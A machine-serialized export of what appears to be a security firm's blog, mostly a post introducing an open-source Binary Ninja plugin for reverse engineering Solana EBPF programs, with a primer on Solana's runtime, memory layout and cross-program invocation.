opaque",{"type":26,"tag":217,"props":160080,"children":160081},{"style":7048},[160082],{"type":32,"value":7162},{"type":26,"tag":217,"props":160084,"children":160085},{"class":7028,"line":8035},[160086,160090,160094],{"type":26,"tag":217,"props":160087,"children":160088},{"style":7054},[160089],{"type":32,"value":156100},{"type":26,"tag":217,"props":160091,"children":160092},{"style":7154},[160093],{"type":32,"value":7795},{"type":26,"tag":217,"props":160095,"children":160096},{"style":7048},[160097],{"type":32,"value":7162},{"type":26,"tag":217,"props":160099,"children":160100},{"class":7028,"line":8067},[160101,160105,160109,160113,160117,160121,160125,160129,160133,160137],{"type":26,"tag":217,"props":160102,"children":160103},{"style":7054},[160104],{"type":32,"value":156204},{"type":26,"tag":217,"props":160106,"children":160107},{"style":7064},[160108],{"type":32,"value":81182},{"type":26,"tag":217,"props":160110,"children":160111},{"style":7048},[160112],{"type":32,"value":1851},{"type":26,"tag":217,"props":160114,"children":160115},{"style":7054},[160116],{"type":32,"value":14769},{"type":26,"tag":217,"props":160118,"children":160119},{"style":7048},[160120],{"type":32,"value":8380},{"type":26,"tag":217,"props":160122,"children":160123},{"style":7149},[160124],{"type":32,"value":9106},{"type":26,"tag":217,"props":160126,"children":160127},{"style":7064},[160128],{"type":32,"value":81182},{"type":26,"tag":217,"props":160130,"children":160131},{"style":7048},[160132],{"type":32,"value":1851},{"type":26,"tag":217,"props":160134,"children":160135},{"style":7054},[160136],{"type":32,"value":56415},{"type":26,"tag":217,"props":160138,"children":160139},{"style":7048},[160140],{"type":32,"value":7669},{"type":26,"tag":217,"props":160142,"children":160143},{"class":7028,"line":8107},[160144,160148,160152,160156,160160,160164,160168,160172,160176,160180,160184,160188,160192,160196,160200,160204,160208,160212,160216,160220,160224,160228,160232,160236,160240],{"type":26,"tag":217,"props":160145,"children":160146},{"style":7054},[160147],{"type":32,"value":156204},{"type":26,"tag":217,"props":160149,"children":160150},{"style":7054},[160151],{"type":32,"value":154405},{"type":26,"tag":217,"props":160153,"children":160154},{"style":7054},[160155],{"type":32,"value":113770},{"type":26,"tag":217,"props":160157,"children":160158},{"style":7154},[160159],{"type":32,"value":154414},{"type":26,"tag":217,"props":160161,"children":160162},{"style":7130},[160163],{"type":32,"value":9922},{"type":26,"tag":217,"props":160165,"children":160166},{"style":7149},[160167],{"type":32,"value":120880},{"type":26,"tag":217,"props":160169,"children":160170},{"style":7064},[160171],{"type":32,"value":15325},{"type":26,"tag":217,"props":160173,"children":160174},{"style":7048},[160175],{"type":32,"value":1851},{"type":26,"tag":217,"props":160177,"children":160178},{"style":7054},[160179],{"type":32,"value":56415},{"type":26,"tag":217,"props":160181,"children":160182},{"style":7048},[160183],{"type":32,"value":1889},{"type":26,"tag":217,"props":160185,"children":160186},{"style":7149},[160187],{"type":32,"value":1473},{"type":26,"tag":217,"props":160189,"children":160190},{"style":7054},[160191],{"type":32,"value":26462},{"type":26,"tag":217,"props":160193,"children":160194},{"style":7048},[160195],{"type":32,"value":7127},{"type":26,"tag":217,"props":160197,"children":160198},{"style":7054},[160199],{"type":32,"value":49141},{"type":26,"tag":217,"props":160201,"children":160202},{"style":7048},[160203],{"type":32,"value":10276},{"type":26,"tag":217,"props":160205,"children":160206},{"style":7149},[160207],{"type":32,"value":9106},{"type":26,"tag":217,"props":160209,"children":160210},{"style":7054},[160211],{"type":32,"value":154456},{"type":26,"tag":217,"props":160213,"children":160214},{"style":7048},[160215],{"type":32,"value":7127},{"type":26,"tag":217,"props":160217,"children":160218},{"style":7054},[160219],{"type":32,"value":49141},{"type":26,"tag":217,"props":160221,"children":160222},{"style":7048},[160223],{"type":32,"value":10276},{"type":26,"tag":217,"props":160225,"children":160226},{"style":7149},[160227],{"type":32,"value":10006},{"type":26,"tag":217,"props":160229,"children":160230},{"style":7064},[160231],{"type":32,"value":81182},{"type":26,"tag":217,"props":160233,"children":160234},{"style":7048},[160235],{"type":32,"value":1851},{"type":26,"tag":217,"props":160237,"children":160238},{"style":7054},[160239],{"type":32,"value":56415},{"type":26,"tag":217,"props":160241,"children":160242},{"style":7048},[160243],{"type":32,"value":7669},{"type":26,"tag":217,"props":160245,"children":160246},{"class":7028,"line":8145},[160247],{"type":26,"tag":217,"props":160248,"children":160249},{"style":7048},[160250],{"type":32,"value":16086},{"type":26,"tag":27,"props":160252,"children":160253},{"id":137231},[160254],{"type":32,"value":137234},{"type":26,"tag":39,"props":160256,"children":160257},{},[160258],{"type":32,"value":160259},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":26,"tag":39,"props":160261,"children":160262},{},[160263],{"type":32,"value":160264},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":26,"tag":39,"props":160266,"children":160267},{},[160268,160270,160275],{"type":32,"value":160269},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":26,"tag":163,"props":160271,"children":160273},{"href":156845,"rel":160272},[167],[160274],{"type":32,"value":156849},{"type":32,"value":180},{"type":26,"tag":9282,"props":160277,"children":160278},{},[160279],{"type":32,"value":9286},{"title":8,"searchDepth":6770,"depth":6770,"links":160281},[160282,160283,160284],{"id":78922,"depth":6770,"text":156915},{"id":158893,"depth":6770,"text":158896},{"id":137231,"depth":6770,"text":137234},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":160289,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":160290,"description":160291,"author":137329,"image":160292,"date":160296,"tags":160297,"isFeatured":7,"onBlogPage":17,"body":160298,"_type":6799,"_id":162260,"_source":6801,"_file":162261,"_stem":162262,"_extension":6804},"/blog/2022-08-27-reverse-engineering-solana","Reverse Engineering Solana with Binary Ninja","An introduction to our open-source Binary Ninja plugin for blackbox Solana program analysis along with an executive reference to the Solana runtime.",{"src":160293,"height":160294,"width":160295},"/posts/reverse-engineering/detective.jpeg",693,1069,"2022-08-27",[90642],{"type":23,"children":160299,"toc":162244},[160300,160321,160326,160332,160338,160343,160349,160354,160381,160387,160392,160439,160445,160455,160464,160477,160511,160520,160538,160545,160557,160621,160626,160721,160727,160753,160758,160828,160836,160841,160861,160869,160875,160881,160886,160909,160921,160927,160941,160987,160993,161017,161022,161027,161037,161042,161055,161060,161066,161071,161079,161087,161093,161134,161141,161147,161152,161158,161163,161176,161183,161189,161194,161201,161214,162231,162235,162240],{"type":26,"tag":39,"props":160301,"children":160302},{},[160303,160305,160312,160314,160319],{"type":32,"value":160304},"We are excited to announce the release of our open-source ",{"type":26,"tag":163,"props":160306,"children":160309},{"href":160307,"rel":160308},"https://github.com/otter-sec/bn-ebpf-solana",[167],[160310],{"type":32,"value":160311},"Binary Ninja plugin for Solana",{"type":32,"value":160313},"! We have been hard at work developing this tool internally to aid our efforts in blackbox Solana program analysis. While it is still in development, it is now mature enough to be useful (and usable) and we have decided to release it to the larger security community. You can find it on Github here: ",{"type":26,"tag":163,"props":160315,"children":160317},{"href":160307,"rel":160316},[167],[160318],{"type":32,"value":160307},{"type":32,"value":160320},". If you find bugs in our plugin or want to add improvements, please open an issue or submit a PR!",{"type":26,"tag":39,"props":160322,"children":160323},{},[160324],{"type":32,"value":160325},"In this blog post, we will provide some background on the Solana runtime and describe the various components of our plugin. In subsequent blog posts, we will dive into case studies of using this tool to decompile and analyze closed-source Solana programs.",{"type":26,"tag":454,"props":160327,"children":160329},{"id":160328},"a-primer-on-the-solana-runtime",[160330],{"type":32,"value":160331},"A Primer on the Solana Runtime",{"type":26,"tag":27,"props":160333,"children":160335},{"id":160334},"solana-programs",[160336],{"type":32,"value":160337},"Solana Programs",{"type":26,"tag":39,"props":160339,"children":160340},{},[160341],{"type":32,"value":160342},"Solana programs are written in Rust or C (currently) and compiled to a Solana-flavored EBPF ELF format. These ELF files are stored in data accounts on-chain and contain all the information required to actually run the programs. Often times, the compiler will throw out irrelevant, human-only information like variable names and function names.",{"type":26,"tag":27,"props":160344,"children":160346},{"id":160345},"solana-virtual-machine",[160347],{"type":32,"value":160348},"Solana Virtual Machine",{"type":26,"tag":39,"props":160350,"children":160351},{},[160352],{"type":32,"value":160353},"While EBPF was originally designed for use in the Linux kernel, Solana has adapted a slightly modified version for use on the blockchain. A solana program runs in a completely isolated environment except for two interfaces:",{"type":26,"tag":6712,"props":160355,"children":160356},{},[160357,160368],{"type":26,"tag":2044,"props":160358,"children":160359},{},[160360,160361,160366],{"type":32,"value":475},{"type":26,"tag":83,"props":160362,"children":160364},{"className":160363},[],[160365],{"type":32,"value":56415},{"type":32,"value":160367}," memory segment, used for passing information about the initial arguments to a program (accounts, instruction info, transaction context, )",{"type":26,"tag":2044,"props":160369,"children":160370},{},[160371,160373,160379],{"type":32,"value":160372},"A set of ",{"type":26,"tag":83,"props":160374,"children":160376},{"className":160375},[],[160377],{"type":32,"value":160378},"syscalls",{"type":32,"value":160380}," which allow Solana programs to interact with the runtime through a well-defined API.",{"type":26,"tag":27,"props":160382,"children":160384},{"id":160383},"memory-model",[160385],{"type":32,"value":160386},"Memory Model",{"type":26,"tag":39,"props":160388,"children":160389},{},[160390],{"type":32,"value":160391},"Memory segments are relocated to specific regions in the Solana memory model:",{"type":26,"tag":2040,"props":160393,"children":160394},{},[160395,160406,160417,160428],{"type":26,"tag":2044,"props":160396,"children":160397},{},[160398,160404],{"type":26,"tag":83,"props":160399,"children":160401},{"className":160400},[],[160402],{"type":32,"value":160403},"0x100000000",{"type":32,"value":160405},": Text — contains code and read-only data from the ELF",{"type":26,"tag":2044,"props":160407,"children":160408},{},[160409,160415],{"type":26,"tag":83,"props":160410,"children":160412},{"className":160411},[],[160413],{"type":32,"value":160414},"0x200000000",{"type":32,"value":160416},": Stack - dedicated space for stack data",{"type":26,"tag":2044,"props":160418,"children":160419},{},[160420,160426],{"type":26,"tag":83,"props":160421,"children":160423},{"className":160422},[],[160424],{"type":32,"value":160425},"0x300000000",{"type":32,"value":160427},": Heap - dedicated space for heap storage",{"type":26,"tag":2044,"props":160429,"children":160430},{},[160431,160437],{"type":26,"tag":83,"props":160432,"children":160434},{"className":160433},[],[160435],{"type":32,"value":160436},"0x400000000",{"type":32,"value":160438},": Input — contains serialized input data. This is populated by the runtime everytime a program runs.",{"type":26,"tag":27,"props":160440,"children":160442},{"id":160441},"transactions-and-instructions",[160443],{"type":32,"value":160444},"Transactions and Instructions",{"type":26,"tag":39,"props":160446,"children":160447},{},[160448,160450],{"type":32,"value":160449},"In Solana you interact with programs by issuing a Transaction. Every Transaction consists of one or more Instruction. Conceptually each Instruction is responsible for invoking “one function” on a particular program. ",{"type":26,"tag":65,"props":160451,"children":160452},{},[160453],{"type":32,"value":160454},"Note: this doesn’t necessarily have to be the case, but this is how most Solana programs are designed.",{"type":26,"tag":6986,"props":160456,"children":160457},{"style":6988},[160458],{"type":26,"tag":6468,"props":160459,"children":160463},{"src":160460,"alt":160461,"style":160462},"/posts/reverse-engineering/tx_ix.png","drawing","height:300px;",[],{"type":26,"tag":39,"props":160465,"children":160466},{},[160467,160469,160475],{"type":32,"value":160468},"Each ",{"type":26,"tag":83,"props":160470,"children":160472},{"className":160471},[],[160473],{"type":32,"value":160474},"Instruction",{"type":32,"value":160476}," contains the following attributes:",{"type":26,"tag":2040,"props":160478,"children":160479},{},[160480,160491,160501],{"type":26,"tag":2044,"props":160481,"children":160482},{},[160483,160489],{"type":26,"tag":83,"props":160484,"children":160486},{"className":160485},[],[160487],{"type":32,"value":160488},"progam_id",{"type":32,"value":160490},": The address of the program we want to invoke.",{"type":26,"tag":2044,"props":160492,"children":160493},{},[160494,160499],{"type":26,"tag":83,"props":160495,"children":160497},{"className":160496},[],[160498],{"type":32,"value":91204},{"type":32,"value":160500},": A list of accounts we will use during execution*",{"type":26,"tag":2044,"props":160502,"children":160503},{},[160504,160509],{"type":26,"tag":83,"props":160505,"children":160507},{"className":160506},[],[160508],{"type":32,"value":33715},{"type":32,"value":160510},": Arbitrary data that is passed to the program",{"type":26,"tag":39,"props":160512,"children":160513},{},[160514,160515],{"type":32,"value":10006},{"type":26,"tag":65,"props":160516,"children":160517},{},[160518],{"type":32,"value":160519},"Solana requires us to predefine which accounts we will need to access during our instruction so the runtime can parallelize instructions that operate on disjoint sets.",{"type":26,"tag":39,"props":160521,"children":160522},{},[160523,160525,160529,160531,160537],{"type":32,"value":160524},"Unlike some other blockchain architectures, programs in Solana have just ",{"type":26,"tag":65,"props":160526,"children":160527},{},[160528],{"type":32,"value":158830},{"type":32,"value":160530}," entrypoint. Programs that want to implement multiple \"functions\" need to do so in user-space. Typically this is handled by a high level framework such as ",{"type":26,"tag":163,"props":160532,"children":160534},{"href":137419,"rel":160533},[167],[160535],{"type":32,"value":160536},"Anchor",{"type":32,"value":180},{"type":26,"tag":6986,"props":160539,"children":160540},{"style":6988},[160541],{"type":26,"tag":6468,"props":160542,"children":160544},{"src":160543,"alt":160461,"style":160462},"/posts/reverse-engineering/entrypoint.png",[],{"type":26,"tag":39,"props":160546,"children":160547},{},[160548,160550,160555],{"type":32,"value":160549},"At the binary level, the ",{"type":26,"tag":83,"props":160551,"children":160553},{"className":160552},[],[160554],{"type":32,"value":58743},{"type":32,"value":160556}," is implemented by defining a symbol in the ELF with the name \"entrypoint\" that points to the first function to run. E.g. in C, this is as simple as defining the following function:",{"type":26,"tag":207,"props":160558,"children":160560},{"className":9574,"code":160559,"language":2255,"meta":8,"style":8},"extern uint64_t entrypoint(const uint8_t *input) {\n    // do things\n}\n",[160561],{"type":26,"tag":83,"props":160562,"children":160563},{"__ignoreMap":8},[160564,160606,160614],{"type":26,"tag":217,"props":160565,"children":160566},{"class":7028,"line":7029},[160567,160572,160577,160581,160585,160589,160594,160598,160602],{"type":26,"tag":217,"props":160568,"children":160569},{"style":7154},[160570],{"type":32,"value":160571},"extern",{"type":26,"tag":217,"props":160573,"children":160574},{"style":7154},[160575],{"type":32,"value":160576}," uint64_t",{"type":26,"tag":217,"props":160578,"children":160579},{"style":7064},[160580],{"type":32,"value":148448},{"type":26,"tag":217,"props":160582,"children":160583},{"style":7048},[160584],{"type":32,"value":1851},{"type":26,"tag":217,"props":160586,"children":160587},{"style":7154},[160588],{"type":32,"value":74748},{"type":26,"tag":217,"props":160590,"children":160591},{"style":7154},[160592],{"type":32,"value":160593}," uint8_t",{"type":26,"tag":217,"props":160595,"children":160596},{"style":7149},[160597],{"type":32,"value":9690},{"type":26,"tag":217,"props":160599,"children":160600},{"style":7054},[160601],{"type":32,"value":56415},{"type":26,"tag":217,"props":160603,"children":160604},{"style":7048},[160605],{"type":32,"value":7618},{"type":26,"tag":217,"props":160607,"children":160608},{"class":7028,"line":6770},[160609],{"type":26,"tag":217,"props":160610,"children":160611},{"style":7033},[160612],{"type":32,"value":160613},"    // do things\n",{"type":26,"tag":217,"props":160615,"children":160616},{"class":7028,"line":6779},[160617],{"type":26,"tag":217,"props":160618,"children":160619},{"style":7048},[160620],{"type":32,"value":7184},{"type":26,"tag":39,"props":160622,"children":160623},{},[160624],{"type":32,"value":160625},"In order to process an instruction, the runtime does the following steps (in brief):",{"type":26,"tag":6712,"props":160627,"children":160628},{},[160629,160641,160652,160663,160682,160709],{"type":26,"tag":2044,"props":160630,"children":160631},{},[160632,160634,160639],{"type":32,"value":160633},"Lookup the ",{"type":26,"tag":83,"props":160635,"children":160637},{"className":160636},[],[160638],{"type":32,"value":148504},{"type":32,"value":160640}," account.",{"type":26,"tag":2044,"props":160642,"children":160643},{},[160644,160646,160651],{"type":32,"value":160645},"Lookup the loader for the program (",{"type":26,"tag":65,"props":160647,"children":160648},{},[160649],{"type":32,"value":160650},"All user-written programs currently use a variant of the BPF loader which is the one responsible for running BPF code. However, Solana is designed in a way where additional loaders may be available in the future",{"type":32,"value":8256},{"type":26,"tag":2044,"props":160653,"children":160654},{},[160655,160657,160662],{"type":32,"value":160656},"Parse the ELF file and construct an instance of the VM (",{"type":26,"tag":65,"props":160658,"children":160659},{},[160660],{"type":32,"value":160661},"runtime may do some optimizations such as JITing the program",{"type":32,"value":1889},{"type":26,"tag":2044,"props":160664,"children":160665},{},[160666,160668,160673,160675,160680],{"type":32,"value":160667},"Serialize the ",{"type":26,"tag":83,"props":160669,"children":160671},{"className":160670},[],[160672],{"type":32,"value":91204},{"type":32,"value":160674}," and transaction context into the ",{"type":26,"tag":83,"props":160676,"children":160678},{"className":160677},[],[160679],{"type":32,"value":56415},{"type":32,"value":160681}," segment of the VM.",{"type":26,"tag":2044,"props":160683,"children":160684},{},[160685,160687,160692,160694,160699,160701],{"type":32,"value":160686},"Invoke the ",{"type":26,"tag":83,"props":160688,"children":160690},{"className":160689},[],[160691],{"type":32,"value":58743},{"type":32,"value":160693}," function in the program with the Instruction ",{"type":26,"tag":83,"props":160695,"children":160697},{"className":160696},[],[160698],{"type":32,"value":33715},{"type":32,"value":160700}," as an argument.\n",{"type":26,"tag":6712,"props":160702,"children":160703},{},[160704],{"type":26,"tag":2044,"props":160705,"children":160706},{},[160707],{"type":32,"value":160708},"... program logic runs here ...",{"type":26,"tag":2044,"props":160710,"children":160711},{},[160712,160714,160719],{"type":32,"value":160713},"Deserialize the ",{"type":26,"tag":83,"props":160715,"children":160717},{"className":160716},[],[160718],{"type":32,"value":56415},{"type":32,"value":160720}," segment, validate the changes, and commit the results back to the global state.",{"type":26,"tag":27,"props":160722,"children":160724},{"id":160723},"cross-program-invocation",[160725],{"type":32,"value":160726},"Cross-program Invocation",{"type":26,"tag":39,"props":160728,"children":160729},{},[160730,160732,160737,160739,160745,160746,160751],{"type":32,"value":160731},"Solana programs can also invoke other programs directly. This is called ",{"type":26,"tag":65,"props":160733,"children":160734},{},[160735],{"type":32,"value":160736},"cross-program invocation",{"type":32,"value":160738}," (CPI). In Solana, this is achieved through syscalls (",{"type":26,"tag":83,"props":160740,"children":160742},{"className":160741},[],[160743],{"type":32,"value":160744},"sol_invoke_signed_c",{"type":32,"value":9438},{"type":26,"tag":83,"props":160747,"children":160749},{"className":160748},[],[160750],{"type":32,"value":125379},{"type":32,"value":160752},") which differ only in the ABI.",{"type":26,"tag":39,"props":160754,"children":160755},{},[160756],{"type":32,"value":160757},"Using these syscalls, a program can issue instructions that execute on other programs. Importantly, any accounts used in these nested instructions must also be provided in the initial instruction.",{"type":26,"tag":39,"props":160759,"children":160760},{},[160761,160763,160769,160771,160777,160779,160785,160786,160792,160794,160800,160802,160807,160809,160814,160816,160820,160822,160827],{"type":32,"value":160762},"In this diagram, ",{"type":26,"tag":83,"props":160764,"children":160766},{"className":160765},[],[160767],{"type":32,"value":160768},"MyProgram",{"type":32,"value":160770}," performs two cross-program invocations on some mock ",{"type":26,"tag":83,"props":160772,"children":160774},{"className":160773},[],[160775],{"type":32,"value":160776},"token-mgr",{"type":32,"value":160778}," program which has some ",{"type":26,"tag":83,"props":160780,"children":160782},{"className":160781},[],[160783],{"type":32,"value":160784},"Burn",{"type":32,"value":1308},{"type":26,"tag":83,"props":160787,"children":160789},{"className":160788},[],[160790],{"type":32,"value":160791},"Mint",{"type":32,"value":160793}," actions. The notation ",{"type":26,"tag":83,"props":160795,"children":160797},{"className":160796},[],[160798],{"type":32,"value":160799},"[Instr()]",{"type":32,"value":160801}," represents a serialized enum. Note that the ",{"type":26,"tag":83,"props":160803,"children":160805},{"className":160804},[],[160806],{"type":32,"value":160776},{"type":32,"value":160808}," program account must be listed in the original instruction in order to perform a CPI on it. Additionally, note that the two cross-program calls to ",{"type":26,"tag":83,"props":160810,"children":160812},{"className":160811},[],[160813],{"type":32,"value":160776},{"type":32,"value":160815}," invoke the ",{"type":26,"tag":65,"props":160817,"children":160818},{},[160819],{"type":32,"value":149306},{"type":32,"value":160821}," entrypoint. The choice of action to take is determined by looking at the value in the provided ",{"type":26,"tag":83,"props":160823,"children":160825},{"className":160824},[],[160826],{"type":32,"value":33715},{"type":32,"value":180},{"type":26,"tag":6986,"props":160829,"children":160830},{"style":6988},[160831],{"type":26,"tag":6468,"props":160832,"children":160835},{"src":160833,"alt":160461,"style":160834},"/posts/reverse-engineering/cpi.png","max-height:300px;",[],{"type":26,"tag":39,"props":160837,"children":160838},{},[160839],{"type":32,"value":160840},"When a Solana program invokes one of these syscalls, the current VM is paused and the runtime goes through the same steps as above to load the target program into a new VM and execute it. Once the cross-program invocation completes, the original VM resumes execution.",{"type":26,"tag":39,"props":160842,"children":160843},{},[160844,160846,160852,160853,160859],{"type":32,"value":160845},"Programs can set and get return data via the ",{"type":26,"tag":83,"props":160847,"children":160849},{"className":160848},[],[160850],{"type":32,"value":160851},"sol_set_return_data",{"type":32,"value":1308},{"type":26,"tag":83,"props":160854,"children":160856},{"className":160855},[],[160857],{"type":32,"value":160858},"sol_get_return_data",{"type":32,"value":160860}," syscalls, allowing for some information to be passed between these calls.",{"type":26,"tag":39,"props":160862,"children":160863},{},[160864],{"type":26,"tag":65,"props":160865,"children":160866},{},[160867],{"type":32,"value":160868},"Note: currently there are some bounds on CPI. Specifically the depth (number of nested calls) is limited to 4 and reentrancy is mostly prohibited",{"type":26,"tag":454,"props":160870,"children":160872},{"id":160871},"solana-program-analysis",[160873],{"type":32,"value":160874},"Solana Program Analysis",{"type":26,"tag":27,"props":160876,"children":160878},{"id":160877},"what-information-do-we-have",[160879],{"type":32,"value":160880},"What information do we have?",{"type":26,"tag":39,"props":160882,"children":160883},{},[160884],{"type":32,"value":160885},"As auditors, we always have access to our customers' source code. This access has a lot of benefits when it comes to understanding how a piece of code works:",{"type":26,"tag":2040,"props":160887,"children":160888},{},[160889,160894,160899,160904],{"type":26,"tag":2044,"props":160890,"children":160891},{},[160892],{"type":32,"value":160893},"There are symbol names (functions, variables, ...)",{"type":26,"tag":2044,"props":160895,"children":160896},{},[160897],{"type":32,"value":160898},"There are full structure definitinons",{"type":26,"tag":2044,"props":160900,"children":160901},{},[160902],{"type":32,"value":160903},"There are comments (and hopefully documentation)",{"type":26,"tag":2044,"props":160905,"children":160906},{},[160907],{"type":32,"value":160908},"We can easily recompile and test things",{"type":26,"tag":39,"props":160910,"children":160911},{},[160912,160914,160919],{"type":32,"value":160913},"While most protocols built on Solana release their code as open-source, some do not. Therefore, without exclusive auditor-access to the source code, one may be left exploring other options. Additionally, an attacker is ",{"type":26,"tag":65,"props":160915,"children":160916},{},[160917],{"type":32,"value":160918},"definitely",{"type":32,"value":160920}," not going to publish the source code for their malicious programs, so what other information can we use?",{"type":26,"tag":27,"props":160922,"children":160924},{"id":160923},"transaction-history",[160925],{"type":32,"value":160926},"Transaction History",{"type":26,"tag":39,"props":160928,"children":160929},{},[160930,160932,160939],{"type":32,"value":160931},"One particularlly useful technique is to look at previous instructions executed on a particular program in the ",{"type":26,"tag":163,"props":160933,"children":160936},{"href":160934,"rel":160935},"https://explorer.solana.com/",[167],[160937],{"type":32,"value":160938},"explorer",{"type":32,"value":160940},". When an instruction is executed, lots of useful information is stored:",{"type":26,"tag":2040,"props":160942,"children":160943},{},[160944,160962],{"type":26,"tag":2044,"props":160945,"children":160946},{},[160947,160952,160954,160960],{"type":26,"tag":9348,"props":160948,"children":160949},{},[160950],{"type":32,"value":160951},"logs",{"type":32,"value":160953},": Solana programs can write log strings via the ",{"type":26,"tag":83,"props":160955,"children":160957},{"className":160956},[],[160958],{"type":32,"value":160959},"sol_log_*",{"type":32,"value":160961}," syscalls. Often times, programs will log the name of the instruction being executed which lets you easily pick apart instruction formats.",{"type":26,"tag":2044,"props":160963,"children":160964},{},[160965,160970,160972,160977,160979,160985],{"type":26,"tag":9348,"props":160966,"children":160967},{},[160968],{"type":32,"value":160969},"CPI results",{"type":32,"value":160971},": Every nested cross-program-invocation will be stored as part of the instruction result. These details include the full ",{"type":26,"tag":83,"props":160973,"children":160975},{"className":160974},[],[160976],{"type":32,"value":160474},{"type":32,"value":160978}," object for every call which lets us see exactly which programs were invoked and with what set of addresses and data. Many DeFi protocols make calls to token management programs such as ",{"type":26,"tag":83,"props":160980,"children":160982},{"className":160981},[],[160983],{"type":32,"value":160984},"spl-token",{"type":32,"value":160986}," which lets us easily see how money is being transfered.",{"type":26,"tag":27,"props":160988,"children":160990},{"id":160989},"diving-deeper",[160991],{"type":32,"value":160992},"Diving Deeper",{"type":26,"tag":39,"props":160994,"children":160995},{},[160996,160998,161003,161004,161009,161011,161015],{"type":32,"value":160997},"While these techniques are useful for analyzing the effect a particular instruction had (i.e. ",{"type":26,"tag":65,"props":160999,"children":161000},{},[161001],{"type":32,"value":161002},"what did it call?",{"type":32,"value":7599},{"type":26,"tag":65,"props":161005,"children":161006},{},[161007],{"type":32,"value":161008},"what did it do?",{"type":32,"value":161010},"), we are so-far unable to understand exactly ",{"type":26,"tag":65,"props":161012,"children":161013},{},[161014],{"type":32,"value":156901},{"type":32,"value":161016}," the program operates: what decisions does it make? what is it capable of doing? how was it designed?",{"type":26,"tag":39,"props":161018,"children":161019},{},[161020],{"type":32,"value":161021},"To get into those more complex details, we need to actually analyze the compiled EBPF program. While tooling for traditional native binaries is quite advanced, there are not many existing tools for Solana binary analysis. So we decided to develop our own tool for Solana program analysis...",{"type":26,"tag":454,"props":161023,"children":161025},{"id":161024},"bn-ebpf-solana",[161026],{"type":32,"value":161024},{"type":26,"tag":39,"props":161028,"children":161029},{},[161030,161035],{"type":26,"tag":163,"props":161031,"children":161033},{"href":160307,"rel":161032},[167],[161034],{"type":32,"value":161024},{"type":32,"value":161036}," is an open-source plugin for Binary Ninja that supports Solana-flavored EBPF. It is still a work in progress; there are several features we are planning to add that will make blackbox Solana program analysis easier. However, in its current stage it has proved useful for our own internal analyses and we have decided to make it open source so it can be useful for other people as well!",{"type":26,"tag":39,"props":161038,"children":161039},{},[161040],{"type":32,"value":161041},"The plugin consists of two parts:",{"type":26,"tag":2040,"props":161043,"children":161044},{},[161045,161050],{"type":26,"tag":2044,"props":161046,"children":161047},{},[161048],{"type":32,"value":161049},"An architecture plugin which supports the Solana flavor of EBPF",{"type":26,"tag":2044,"props":161051,"children":161052},{},[161053],{"type":32,"value":161054},"A custom BinaryView implementation which understands the Solana ELF format and Solana-specific relocations",{"type":26,"tag":39,"props":161056,"children":161057},{},[161058],{"type":32,"value":161059},"Currently, the following features are supported:",{"type":26,"tag":607,"props":161061,"children":161063},{"id":161062},"instruction-lifting",[161064],{"type":32,"value":161065},"Instruction Lifting",{"type":26,"tag":39,"props":161067,"children":161068},{},[161069],{"type":32,"value":161070},"LLIL lifting is implemented for all EBPF instructions which allows Binary Ninja to perform local static analysis and generate consise decompilation.",{"type":26,"tag":39,"props":161072,"children":161073},{},[161074],{"type":26,"tag":65,"props":161075,"children":161076},{},[161077],{"type":32,"value":161078},"left: CFG disassembly view / right: linear HLIL view",{"type":26,"tag":6986,"props":161080,"children":161081},{"style":6988},[161082],{"type":26,"tag":6468,"props":161083,"children":161086},{"src":161084,"alt":160461,"style":161085},"/posts/reverse-engineering/lift.png","width:100%;",[],{"type":26,"tag":607,"props":161088,"children":161090},{"id":161089},"accurate-memory-maps",[161091],{"type":32,"value":161092},"Accurate Memory Maps",{"type":26,"tag":39,"props":161094,"children":161095},{},[161096,161098,161103,161105,161111,161113,161119,161120,161126,161127,161132],{"type":32,"value":161097},"ELF sections are relocated into the ",{"type":26,"tag":83,"props":161099,"children":161101},{"className":161100},[],[161102],{"type":32,"value":160403},{"type":32,"value":161104}," range as implemented by the core runtime code. Additional segments are created at ",{"type":26,"tag":83,"props":161106,"children":161108},{"className":161107},[],[161109],{"type":32,"value":161110},"0x{2/3/4}00000000",{"type":32,"value":161112}," for the ",{"type":26,"tag":83,"props":161114,"children":161116},{"className":161115},[],[161117],{"type":32,"value":161118},"stack",{"type":32,"value":7599},{"type":26,"tag":83,"props":161121,"children":161123},{"className":161122},[],[161124],{"type":32,"value":161125},"heap",{"type":32,"value":1308},{"type":26,"tag":83,"props":161128,"children":161130},{"className":161129},[],[161131],{"type":32,"value":56415},{"type":32,"value":161133}," segments.",{"type":26,"tag":6986,"props":161135,"children":161136},{"style":6988},[161137],{"type":26,"tag":6468,"props":161138,"children":161140},{"src":161139,"alt":160461,"style":160834},"/posts/reverse-engineering/mem.png",[],{"type":26,"tag":607,"props":161142,"children":161144},{"id":161143},"solana-elf-relocations",[161145],{"type":32,"value":161146},"Solana ELF Relocations",{"type":26,"tag":39,"props":161148,"children":161149},{},[161150],{"type":32,"value":161151},"We apply the Solana-specific ELF relocations as implemented by the core runtime.",{"type":26,"tag":607,"props":161153,"children":161155},{"id":161154},"syscall-function-signatures",[161156],{"type":32,"value":161157},"Syscall Function Signatures",{"type":26,"tag":39,"props":161159,"children":161160},{},[161161],{"type":32,"value":161162},"We identify Solana syscalls, convert them to calls and apply the correct function signatures.",{"type":26,"tag":39,"props":161164,"children":161165},{},[161166,161168,161174],{"type":32,"value":161167},"In this example, the ",{"type":26,"tag":83,"props":161169,"children":161171},{"className":161170},[],[161172],{"type":32,"value":161173},"sol_panic_",{"type":32,"value":161175}," signature is automatically as soon as you open the EBPF .so file.",{"type":26,"tag":6986,"props":161177,"children":161178},{"style":6988},[161179],{"type":26,"tag":6468,"props":161180,"children":161182},{"src":161181,"alt":160461,"style":161085},"/posts/reverse-engineering/syscall.png",[],{"type":26,"tag":607,"props":161184,"children":161186},{"id":161185},"solana-sdk-types",[161187],{"type":32,"value":161188},"Solana SDK Types",{"type":26,"tag":39,"props":161190,"children":161191},{},[161192],{"type":32,"value":161193},"We autopopulate the analysis view with Solana SDK types (C is fully supported, Rust is still a work-in-progress). These types allow for full structure recovery of Solana objects used at 